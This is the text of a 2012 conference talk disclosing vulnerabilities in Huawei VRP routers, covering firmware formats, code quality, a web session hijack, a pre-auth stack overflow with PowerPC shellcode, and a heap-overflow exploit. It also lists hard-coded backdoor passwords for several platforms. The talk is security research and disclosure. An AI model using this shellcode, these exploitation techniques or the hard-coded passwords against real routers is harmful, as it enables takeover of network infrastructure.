HUAWEI ROUTERS

Hack in the Box 2012
INTRODUCTION

In which we also look at disclosure and reporting.

Open the file which will be translate error.
Huawei is the #2 telecommunications equipment vendor worldwide
- Founded 1988
- 155,000 employees worldwide

Three major business units
- Telecom Networks
  - Accounted for 15.7% global carrier network infrastructure market in 2010
  - Customers are 80% of the world’s top 50 telecoms
- Global Services
  - Builds and operates networks for clients
  - 47 managed services contracts in 2010 alone
- Devices
  - White label products and branded cellphones
  - 120 million devices, 30 million of which were cellphones
PRODUCT RANGE

- Radio Access equipment
  - BTS and BSC
- Fixed line equipment
  - Fiber and copper infrastructure, DSLAMs
- Transport network
  - Optical transport, MSTP, microwave
- Core network
  - CDMA, soft switches, session border controller, IP multimedia, Universal Media Gateways
- Telco infrastructure
  - Antennas, power supplies, etc.
- Storage
  - Cloud, SAN, NAS
- Software
  - Network Management, CRM, enterprise solutions
- Devices
  - Mobile phones, mobile broadband, home devices
Data communications equipment

- NE Series (5000E, 80/40, 80E/40E, 20/20E)
- AR Series (3200, 2200, 1200, 49, 46, 29, 28, 19, 18)
- Metro Service Switches (CX series)
- Ethernet switches (S series)
- The router and switch products are also known as “Quidway”

There are H3C (Huawei-3Com) versions as well

- On April 12, 2010, Hewlett-Packard completed its acquisition of 3Com Corporation
- Statements from Huawei and HP differ on who uses what code
  - Following our DEFCON talk, HP immediately provided information and machines for testing

Interesting past joint venture: Huawei-Symantec
Taking on an open, transparent and sincere attitude, Huawei is willing to work with all governments, customers and partners through various channels to jointly cope with cyber security threats and challenges from cyber security.


Huawei calls for global cooperation in data protection. Founder of Chinese telecom giant, which has faced security concerns in the US and Australia, makes call for global cooperation to improve data protection, according to reports.


Following our DEFCON Talk, Huawei published “Cyber Security Perspectives”

by John Suffolk, Global Cyber Security Officer
The product security team used to be hard to find
  - There was a CERT team for the FIRST membership
  - Now there is a PSIRT (used to be called NSIRT)
    - The PSIRT is now listed on OSVDB

Product security advisories are published “for customers”
  - You need to be registered / logged in on their web site
  - We have been provided with previews of advisories in PDF format
    - Huawei-SA-20120808-01-HTTP-Module
    - Huawei-SA-20120808-02-HTTP-Module
    - Huawei-SA-20120808-03-HTTP-Module

Product security related updates to software are currently not marked as such
  - According to private reports, security vulnerabilities used to get fixed “on the fly” when customers complaint
  - The UK-based “Huawei Cyber Security Centre” actively audits code of Huawei products
WORK IN PROGRESS
VRP

In which we talk about software on routers.
The Versatile Routing Platform (VRP) is the software platform used on data communication products of the vendor.

Multiple branches are known:
- VRP 1.x and 2.x – Not the Cisco IOS copy!
  - In fact only Cisco’s EIGRP code and DUAL algorithm were copied verbatim, including a bug in Cisco’s EIGRP code
  - CLI and commands were imitated from IOS
  - User manuals were copied
- VRP 3.x: VxWorks 3.x based
- VRP 5.x: VxWorks 5.x based
  - According to Huawei largely rewritten
- VRP 8.x: Unknown (new in 2011)

Versioning based on platform, release and revision
- E.g. S3500EA-VRP520-F5305L01.bin

Also known as: COMWARE (OEM), VXLS
MANAGING VRP

- Standard interfaces
  - Command line interface (CLI)
    - Via SSH, Telnet and Console
  - Web based configuration
  - NetConf (RPC/XML)
  - SNMP
- Branch Intelligent Management System (BIMS)
  - Remotely update configuration and software
- Language settings for Chinese and English
  - Including the logging functions
  - Debug functionality often only available in Chinese
Login authentication

Username: admin
Password: <our password>

<H3C>system-view
System View: return to User View with Ctrl+Z.

[H3C]_
Now you enter a hidden command view for developer's testing, some commands may affect operation by wrong use, please carefully use it with our engineer's direction.

[H3C-hidecmd]en_diagnose
input password (1-12 characters) : huawei-3com
This mode is for our engineers to test. Running these commands could result in exceptions. Please do not run these commands without directions of our engineers.

[H3C-diagnose]
The Upgrade Version is Error.

VRP IMAGES
In which we take a look at some internals.
The support area on Huawei’s web site contains images

- You have to get “authorized” to download them
  - No idea how that works

The flash file system is available via FTP on devices, including the current image

- system is the image
- http.zip contains the static web content
- config.cfg contains the current configuration
- webinit.cfg contains the default configuration

Legal access to images is difficult

- Buying entire routers helps
VRP image headers differ greatly per platform
  - It looks like most platforms have their own image format
VRP3.x images tend to only have one header and one compressed file inside
VRP5.x images are variations of custom archive formats
  - Commonly the file extension is .cc
  - Some of these formats contain file descriptions
  - So far, no cryptographic protections have been found
Images for recent devices contain many firmwares for sub-systems and multiple bootloader images
  - 33 files in an AR1220 image
  - 30 files in a NE20 image
  - 256 files in a NE40E/80E image
Compression algorithms observed so far: ARJ, ZIP, deflate, 7zip, LZS (INCITS/ANSI X3.241-1994)
NE20V200R005C05SPC100:
00001824 (9719792): Main File!                  LZS compressed, 63MB main image
00946814 (  78680): Please put your Description Here!  ARJ archive data
00959B6C (  6776): Please put your Description Here!  ARJ archive data
0095B5E4 ( 11672): Please put your Description Here!  ARJ archive data
0095E37C (  8408): Please put your Description Here!  ARJ archive data
00960454 (  19040): Please put your Description Here!  ARJ archive data
00964EB4 (120640): Please put your Description Here!  ARJ archive data
009825F4 (  55672): Please put your Description Here!  ARJ archive data
0098FF6C (  99328): Please put your Description Here!  ARJ archive data
009A836C (  6264): Please put your Description Here!  ARJ archive data
0099BE4 ( 18888): Please put your Description Here!  ARJ archive data
009AE5AC (104008): Please put your Description Here!  ARJ archive data
009C7BF4 ( 47336): Please put your Description Here!  ARJ archive data
009D34DC (139912): Please put your Description Here!  ARJ archive data
009F5764 ( 126912): Please put your Description Here!  ARJ archive data
009F5764 ( 126912): Please put your Description Here!  ARJ archive data
00B24FD4 ( 669392): V200R005C03SPC001B01B              ARJ archive, bootloader, IPsec
00B24FD4 ( 669392): V200R005C03SPC001B01B              ARJ archive, bootloader, IPsec
00B24FD4 ( 669392): V200R005C03SPC001B01B              ARJ archive, bootloader, IPsec
00B24FD4 ( 669392): V200R005C03SPC001B01B              ARJ archive, bootloader, IPsec
00C05A1C ( 208800): NE20 Big BootRom File!             ARJ archive, bootloader
00C389BC ( 298924): Please put your Description Here!  ARJ archive data
00C81968 ( 167320): South Bridge Logic!                   ARJ archive, bootloader, IPsec
00CE3C08 ( 137856): 00000001                        ELF 32-bit PowerNP
00D05688 ( 138928): 00000002                        ELF 32-bit PowerNP
00D27538 ( 130904): 00000003                        ELF 32-bit PowerNP
00D47490 ( 138560): 00000004                        ELF 32-bit PowerNP
00D691D0 ( 138136): 00000005                        ELF 32-bit PowerNP
00D8AD68 (  2016): config!                              ASCII text
HARDWARE ARCHITECTURES

- All machines we have seen are PowerPC based
- AR-18 and AR-28 are similar to other shared memory router platforms (think Cisco 2600)
- AR1200/2200/3200 are more modular (think Cisco 1700)
  - ARM9 and ARM11 sub-systems
  - FPGAs
  - Broadcom chipsets
- NE20, 40 and 80 are highly modular routing platforms with hardware acceleration
  - Using IBM PowerNP network processors (NP4GS3)
    - Classification, encapsulation, IP parsing in hardware
    - Highly parallel execution: 8 dyadic protocol processor units (DPPUs), 2 picocode processors and 4 threads per DPPU
DEFAULT SERVICES

- Services enabled by default obviously depend on the VRP version and platform
- Usually open by default are:
  - SSH
  - HTTP / Web Management (CPE devices)
  - FTP
- Also commonly open are:
  - Telnet
  - X.25 over TCP
  - H.323 on multiple ports
- Disabling the default services is a fairly recent feature on this platform
- The BIMS client can be triggered by DHCP
CODE QUALITY

- Multiple re-implementations of functions like memcpy, strcpy, strnstr, etc.
  - # of calls to sprintf() is linear function of machine size
  - A sample of VRP 3.4 for H3C AR-18 calls sprintf 10730 times
  - A sample of VRP 3.4 for Huawei AR-28 calls sprintf 16420 times
  - A sample of VRP 5.5 for Huawei NE20 calls sprintf 27753 times
- SSH server is a complete rewrite
  - Reports the internal FSM state when failing
    - … as in: the name of the state constant
  - OpenSSH fails handshake:
    RSA modulus is 512, 768 is required
- The NULL-Page is mapped
  - … as in RWX mapped
WEB MANAGEMENT

In which we start to wonder.
THE WEB UI
THE WEB UI

- Only works in Internet Explorer
- Some VRP versions don’t work at all
- Uses a Session-ID, called UID: the hex representation of a 32Bit value
- We only need to test 11 Bit of the UID in order to gain access
- We can log in with a simple Perl script …

**UID values:**
- ab0c0000
- ab0d0100
- ab0e0200
- ab0f0300
- ab100400
- ab110400

^-- concurrent session
^-^^- ignored
^--^^^^- session
^--^^^^^^^^ fixed value
REMOTE SESSION HIJACK

[fx@box]$ perl sessionHijack2.pl 1.2.3.4
Found active session ID: AB180100 - dumping config:
HTTP/1.1 200 OK
Allow: GET, POST, HEAD
MIME - Version: 1.1
Server: Lanswitch - V100R003 HttpServer 1.1
Date: SAT, 1 Jan 2000 20:53:16
Connection: close
Content-Type: text/cfg
Last-Modified: SAT, 1 Jan 2000 20:53:16

#
sysname H3C
#
cpu-usage cycle 1min
#
connection-limit disable
connection-limit default action deny
connection-limit default amount upper-limit 50 lower-limit 20
#
DNS resolve
DNS-proxy enable
#
web set-package force flash:/http.zip
In which we aleph1.
The HTTP server tries to determine if a resource needs a valid UID (session)

- This is done by hard-coded sub-string comparisons
  - Never mind that one should be able to determine the same from the content directory of HTTP.ZIP dynamically

- If a URI matches a resource that doesn’t need a UID, the URI is `strcpy()`ed into a buffer
  - That buffer is too small
  - That buffer is on the stack
REMOTE HTTP PRE-AUTH

- Any of the following will work:
  - /wcn/images[...]
  - /wcn/js[...]
  - /wcn[...].js
  - /wcn[...].htm
  - /wcn[...].html
  - /wcn/en/user.data3[...]
  - /wcn/cn/user.data3[...]
- 450 bytes URI length are sufficient
- We directly get control of PC
- No logging involved
- Only the latest VRP versions allow the server to be disabled, otherwise you must use ACLs
Exception Name: INSTRUCTION ACCESS EXCEPTION
Exception Instruction: 0x50505050

Register contents:

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>r0</td>
<td>0x50505050</td>
</tr>
<tr>
<td>r1</td>
<td>0x03a54a58</td>
</tr>
<tr>
<td>r2</td>
<td>0x0012bee8</td>
</tr>
<tr>
<td>r3</td>
<td>0x00000000</td>
</tr>
<tr>
<td>r4</td>
<td>0x00003032</td>
</tr>
<tr>
<td>r5</td>
<td>0x0535e004</td>
</tr>
<tr>
<td>r6</td>
<td>0x00000140</td>
</tr>
<tr>
<td>r7</td>
<td>0x00003032</td>
</tr>
<tr>
<td>r8</td>
<td>0x0000004f</td>
</tr>
<tr>
<td>r9</td>
<td>0x00000001</td>
</tr>
<tr>
<td>r10</td>
<td>0x02f8cbf8</td>
</tr>
<tr>
<td>r11</td>
<td>0x00000001</td>
</tr>
<tr>
<td>r12</td>
<td>0x22000022</td>
</tr>
<tr>
<td>r13</td>
<td>0x00000000</td>
</tr>
<tr>
<td>r14</td>
<td>0x0153aab4</td>
</tr>
<tr>
<td>r15</td>
<td>0x01359084</td>
</tr>
<tr>
<td>r16</td>
<td>0x0153923c</td>
</tr>
<tr>
<td>r17</td>
<td>0x02b70000</td>
</tr>
<tr>
<td>r18</td>
<td>0x00005dd0</td>
</tr>
<tr>
<td>r19</td>
<td>0x01359084</td>
</tr>
<tr>
<td>r20</td>
<td>0x02f90000</td>
</tr>
<tr>
<td>r21</td>
<td>0x0535e664</td>
</tr>
<tr>
<td>r22</td>
<td>0x03a54a70</td>
</tr>
<tr>
<td>r23</td>
<td>0x01539ba4</td>
</tr>
<tr>
<td>r24</td>
<td>0x03a54a88</td>
</tr>
<tr>
<td>r25</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r26</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r27</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r28</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r29</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r30</td>
<td>0x43434343</td>
</tr>
<tr>
<td>cr</td>
<td>0x42000022</td>
</tr>
<tr>
<td>bar</td>
<td>0x42424242</td>
</tr>
<tr>
<td>xer</td>
<td>0x20000000</td>
</tr>
<tr>
<td>lr</td>
<td>0x50505050</td>
</tr>
<tr>
<td>ctr</td>
<td>0x00000032</td>
</tr>
<tr>
<td>srr0</td>
<td>0x50505050</td>
</tr>
<tr>
<td>srr1</td>
<td>0x2000032</td>
</tr>
<tr>
<td>dar</td>
<td>0x50505050</td>
</tr>
</tbody>
</table>

Dump stack (total 512Bytes, 16Bytes/line):

```
0x03a54a58: 43 43 43 43 50 50 50 50 44 44 44 44 44 44 44 44
0x03a54a68: 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44
0x03a54a78: 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44
```
JUMP TARGET

- This being a string overflow, no 0x00 bytes for us
  - No, the HTTP server is not capable of URL-decoding, why would it?
- Image base is 0x0001000
  - Everything after 0x01000000 is image dependent
- ROM is mapped at 0xFFF800000, but not executable
  - PPC memory maps can be different for instructions and data
- But image dependent, we can return to the stack
  - We have registers pointing to the stack we smashed
  - We simply reuse a mtctr / bctrl sequence
ASIAN SEAFOOD
In which we shell out.

Can't move file to recycle-bin.
Recycle-bin is no memory!
VRP comes with a pair of functions that executes CLI commands
- There seems to be no privilege check
- You have to call them both and in order
- The addresses of those functions are image dependent
  - Good enough for us now
- More advanced shellcode uses the same string cross-reference function identification that was presented years ago for Cisco IOS
  - Only available on some images, as others use the counter register to call said functions
STRATEGY

- To get around the limitations of HTTP and string functions, we encode our commands XOR 0xAA
- We decode in-place on the stack and issue a number of CLI commands
  - For verification purposes, we end with a ping command to ourselves, so we see that everything worked
- Command sequence:
  - system-view
  - local-user admin
  - password simple HITB
  - return
  - ping secret.host.phenoelit.de
```
begin:
  # mask (0x101) + 8 bytes stack offset
  # + padding (40) + length of this decode
  addi %r31, %r1,
  ( 0x101 + 8 + 40 + ( end - begin ) )
  li   %r28, 0x101

  # r31 now points to end: + mask
  lbz  %r29, -0x101(%r31)  # length byte
  addi %r31, %r31, 0x105  # increment
  subi %r31, %r31, 0x101  # subtract mask

  decodeLoop:
  lbz  %r30, -0x101(%r31) # get byte
  xori %r30, %r30, 0xAAAA
  stb  %r30, -0x101(%r31)
  dcbf %r28, %r31         # flush cache
  .long 0x7c1004ac         # sync
  addi %r31, %r31, 0x102  # increment with mask
  subi %r31, %r31, 0x101  # subtract mask
  addic. %r29, %r29, -0x102 # mask + 1
  bne decodeLoop

  mr   %r29, %r31
  addi %r31, %r1,
  ( 0x101 + 8 + 40 + ( end - begin ) + 4 )

  nextCommand:
  subi %r4, %r31, 0x101
  li   %r3, 0x3e7
  bla 0x00A96ADC
  li   %r3, 0x3e7
  bla 0x00AAA2FC

  findNull:
  lbz  %r30, -0x101(%r31) # get byte
  addi %r31, %r31, 0x102  # increment with mask
  subi %r31, %r31, 0x101  # subtract mask
  addi %r30, %r30, 0x101
  cmpwi %r30, 0x101        # compare word to 0x00
  beq nextCommand
  .long 0x7c1fe801         # cmpw %r31, %r29
  ble findNull

  # epilog of the calling function, for cleanup
  ba 0x1541474

end:
```
[fx@box exploit]# tcpdump -c 2 -n host 1.2.3.4 and icmp &
[1] 5635
[fx@box exploit]#
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
[fx@box exploit]# ./manage.pl 1.2.3.4
23:12:14.442733 IP 1.2.3.4 > 9.8.7.6: ICMP echo request, id 43982, seq 1, length 64
23:12:14.442758 IP 9.8.7.6 > 1.2.3.4: ICMP echo reply, id 43982, seq 1, length 64

[fx@box exploit]# telnet 1.2.3.4
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^[']'.

********************************************************************************
*  Copyright (c) 1998-2011 Huawei Technologies Co., Ltd.  All rights reserved. *
*  Without the owner's prior written consent,                                    *
*  no decompiling or reverse-engineering shall be allowed.                      *
********************************************************************************

Login authentication

Username: admin
Password: defcon
<Quidway>
THE VRP HEAP

In which we bims it.
THE BUG

- The BIMS client function parses an HTTP response
  - Stores the Content-Length (integer) at *r4.
- The code then `malloc()`s Content-Length+1 bytes of memory
- And copies r31 many bytes to the buffer.
  - r31 is now the amount of content bytes we have already received
THE BUG

- So basically we have a straight-forward heap overflow.
- We specify some small Content-Length and then just send more content.
- Nice thing: We control the size of the buffer that is allocated.
- To exploit this vulnerability, we’ll need to have a look at the allocator…
malloc() will check the requested size (in r31) and store some small number in r5 (depending on the size)

Then, if r5 != 0, it will call malloc_worker.

In malloc_worker, we find that r5 is an index into some table, used to determine the free list to be used for chunks of the requested size.

```assembly
  cmplwi r31, 0x40  # size in r31
  bne loc_D4518
  cmplwi r31, 0x80
  bne loc_D4518
  [...] loc_D4518:
    li r5, 7
    b loc_D452C
loc_D4520:
    li r5, 6
    b loc_D452C
loc_D4528:
    li r5, 5
loc_D452C:
    cmplwi r5, 0
    bne loc_D454C
    lis r4, aVos@h  #: "VOS"
    mr r3, r30
    addi r4, r4, aVos@l #: "VOS"
    mr r5, r31
    b loc_D53F8
    bl sub_D53F8
    b loc_D4564
loc_D454C:
    lis r3, 0x121  # 0x120A998
    addi r3, r3, -0x5668 # 0x120A998
    mr r4, r30
    clrlwi r6, r31, 16
    li r7, 1
    b loc_D4564
```
malloc_worker first determines the free list to use and pulls out the first chunk in that list.

Two sanity checks are performed on that chunk:

- The chunk header has to start with 0xEFEFEEFE.
- *(chunk+4) has to be a pointer to an allocator structure.
- The allocator structure has to contain the string "!PGH" at offset 0x14.

Then the chunk is unlinked from the free list by performing a pointer exchange.

```
lwzx r9, r8, r29    # r9=freelist->nxt
lis r0, -0x1011    # 0xEFEFEEFE
lwz r31, 0x24(r9)   # this = r9->next
ori r0, r0, 0xEFEF # 0xEFEFEEFE
lwz r9, 0(r31)
cmpw r9, r0        # *this == 0xEFEFEEFEF ?
bne error
lwz r9, 4(r31)     # get pointer to # pgh struct
cmpwi r9, 0        # pgh valid?
beq loc_D3DC4
error:
    [...]

lwz r9, 0x28(r31)  # get prev pointer
lwz r0, 0x24(r31)  # get next pointer
stw r0, 0x24(r9)   # prev->next = # this->next
lwz r9, 0x24(r9)
cmpwi r9, 0        # this->next
beq loc_D3DE4
lwz r0, 0x28(r31)
stw r0, 0x28(r9)   # next->prev = # this->prev
```
THE ALLOCATOR

- A heap chunk consists of a header and the user data
- The header contains (amongst other stuff) a pointer to the respective heap control structure
- Free chunks have pointers for a double linked list in the user data portion

```
<table>
<thead>
<tr>
<th>Chunk Header</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xefefefefef</td>
</tr>
<tr>
<td>ptr_to_pgh</td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>(more stuff)</td>
</tr>
<tr>
<td>0xbad0bad0</td>
</tr>
<tr>
<td>Next</td>
</tr>
<tr>
<td>Prev</td>
</tr>
<tr>
<td>0xbad0bad0</td>
</tr>
</tbody>
</table>

User Data - Returned by malloc()
```
The allocator uses bins for chunks of different sizes
- Each bin has its own free list
- The PGH structure contains a pointer to the respective free list
- That’s what free() uses to find out what free list to attach the chunk to

malloc() takes the first element off the free list and returns it
- To maintain the list structure, malloc() performs a pointer exchange:
  prev->next = this->next
  next->prev = this->prev
Oldskewl DLMalloc style attack: use the pointer exchange to write to arbitrary memory

To do that, we need to overwrite the metadata of a free chunk

When that chunk is then malloc()ed, the pointer exchange will write to an address supplied by us
Let’s assume the following situation

- A = malloc(512); B = malloc(512); free(B); free(A);
- The free list will look like this:

Let’s further assume that

- \( B = A + 512 + \text{sizeof(heap} \_\text{header}) \), i.e. B immediately follows A in memory
ATTACK OUTLINE

- Original situation
  - Keep in mind: A and B are adjacent in memory!

- After A = malloc(512)
  - B is free. In memory, B still follows A.

- After overflowing A
  - We have overwritten (parts of) B with our own values
Things we need to take care of:

- Heap layout: we must have two consecutive chunks A and B
  - A must be at the bottom of the free list, followed by B, otherwise bad prev values will propagate through the list
- We need to know a pointer to a PGH structure
- What value do we want to write to what address anyway?
Recall the bug? We can specify arbitrary sizes, which the system will try to malloc.

- Let’s pick a block size that is not too frequently used. We will try 512 bytes.
- Hopefully, that gives us enough control over the heap.

We can influence the heap layout by establishing TCP connections to the device.
- For each connection a 512 byte buffer is allocated.
ABOUT ADDRESSES

- We need to know the addresses of the following things:
  - A PGH structure
  - An important piece of memory we want to patch
  - The buffer that holds our shellcode
- We could hard-code all the addresses we need, but that would be image-dependent
- To make it a bit more unreliable than it already is, let’s try heap-spraying
HEAP SPRAYING

- Due to the nature of the bug, heap spraying is pretty straight-forward: supply a large Content-Length (>5M) and send that much data (not overflowing anything)
  - Your data will remain in memory even after the respective chunk is free()d
- Other spraying approaches:
  - Try to use another service that allows you to specify some buffer size
  - Find a memory leak in some application
Again, we could pick some important function and overwrite it, but that would be image-dependent.

Would it? Don‘t we know some fixed location that stores executable code?

We actually do! Let‘s just overwrite some interrupt handler!
PPC INTERRUPT HANDLING

- Interrupt handlers reside at fixed addresses (much as in good old DOS days), starting at 0x100.
- However, there is no “vector table“ thingy. The interrupt handler code itself has to be put at those fixed addresses.
  - For each handler, we have 0x100 bytes of space.
- We will overwrite the handler at 0x300, which will be triggered on invalid memory access.
Our heap voodoo will of course bring the allocator to an inconsistent state, which will most likely lead to some invalid memory access.

Great! That will trigger the interrupt handler, which will redirect to our own code.

Problem? Our code then has to:

1. Clean up the heap
2. Do whatever dark doings come to our mind
3. And finally to properly exit the interrupt handler
They see me visiting the BIMS server, they hatin.

[+] Listening on port 80...
[+] Receiving HTTP header.
[+] Client disconnected.
[+] Receiving HTTP header.
[+] Huawei sent content-length: 2436
[+] Receiving content.
[+] Sending response.
[+] Will now spray the target's heap.
[+] Receiving HTTP header.
[+] Client disconnected.
[+] Receiving HTTP header.
[+] Huawei sent content-length: 2436
[+] Receiving content.
[+] Sending response.
[+] Will now trigger the heap overflow.

15:28:14.688909 IP 1.2.3.4 > 9.8.7.5: ICMP echo request, id 43981, seq 1, length 64
15:28:14.688944 IP 9.8.7.5 > 1.2.3.4: ICMP echo reply, id 43981, seq 1, length 64
BACKDOORS
In which we replace myths with facts.
It is often claimed Huawei equipment would have backdoors for the Chinese government.

So far, neither hardware nor VRP based backdoors have been discovered.

Backdoors are simply not necessary.

The supply of vulnerabilities is sizable.

Exploitation is relatively straightforward.

“What they have been calling ‘backdoors’ are actually bugs in the software” -- Charles Ding, Huawei, Senior VP.

With so many carriers buying operation services from Huawei, I would be more worried about the NMS and management side of the network.
Definition of a backdoor: A hidden method for bypassing normal computer authentication systems

- The bootloader allows to set a password for accessing it
  - Booting without the configuration
  - Loading alternative VRP

- Every device we checked also has a hard-coded password
  - Also works for the password setting function as the “old password”
# KNOWN PASSWORDS

<table>
<thead>
<tr>
<th>Platform</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>AR18</td>
<td>WhiteLily2970013</td>
</tr>
<tr>
<td>AR28</td>
<td>WhiteLily2970013</td>
</tr>
<tr>
<td>AR46</td>
<td>supperman</td>
</tr>
<tr>
<td>NE20</td>
<td>8070bsp</td>
</tr>
<tr>
<td>NE40/80</td>
<td>www@huawei</td>
</tr>
</tbody>
</table>
This backdoor only works locally or through a terminal server connected to the console
1. Load VRP without the configuration
2. Change configuration (passwords, access)
3. Reboot with configuration loaded

It should be noted that this is not uncommon
- PC BIOS used to have a secret password
- Other companies have backdoors or fixed developer accounts in their code
  - Examples include Siemens, APC, LG, Aztecj, 3com

However, there is a good reason that Cisco introduced “no service password-recovery”
CONCLUSION

In which we conclude.

Wrong times
SUMMARY

- VRP suffers from 90’s style bugs and fairly easy exploitation
- Huawei appears to be ramping up product security now
- Current state of research indicates that the fears of backdoors are exaggerated
- Local access is currently not defendable
Flat Rejects Fortune Cookies (Unfortunate) $7.25/5#bag

YOU GET WHAT YOU PAY FOR
Fire your CFO.